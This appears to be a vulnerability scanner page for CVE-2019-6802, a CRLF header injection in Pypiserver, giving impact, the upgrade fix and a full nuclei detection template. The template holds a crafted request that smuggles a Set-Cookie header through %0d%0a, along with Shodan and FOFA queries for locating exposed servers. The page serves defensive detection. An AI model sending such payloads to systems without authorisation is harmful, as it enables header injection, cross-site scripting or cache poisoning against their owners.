Pypiserver <1.2.5 - Carriage Return Line Feed Injection

mediumseverity

6.1CVSS score

3.8%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.

Impact

Attackers can inject arbitrary HTTP headers through CRLF injection, potentially conducting cross-site scripting attacks or cache poisoning.

Fix

Upgrade to Pypiserver version 1.2.5 or later.

How to confirm it

Send: GET {{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;
Positive when: matches in header /^Set-Cookie: crlfinjection=1;/

Run it with nuclei: nuclei -id CVE-2019-6802 -u <target>

The full check

id: CVE-2019-6802

info:
  name: Pypiserver <1.2.5 - Carriage Return Line Feed Injection
  author: 0x_Akoko
  severity: medium
  description: |
    Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.
  impact: |
    Attackers can inject arbitrary HTTP headers through CRLF injection, potentially conducting cross-site scripting attacks or cache poisoning.
  remediation: |
    Upgrade to Pypiserver version 1.2.5 or later.
  reference:
    - https://vuldb.com/?id.130257
    - https://github.com/pypiserver/pypiserver/issues/237
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6802
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-6802
    cwe-id: CWE-74
    epss-score: 0.03802
    epss-percentile: 0.90101
    cpe: cpe:2.3:a:python:pypiserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: python
    product: pypiserver
    shodan-query:
      - html:"pypiserver"
      - http.html:"pypiserver"
    fofa-query: body="pypiserver"
  tags: cve,cve2019,crlf,pypiserver,python,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"

    matchers:
      - type: regex
        part: header
        regex:
          - "^Set-Cookie: crlfinjection=1;"

References

Use this check only on systems you are authorised to test. Where the data comes from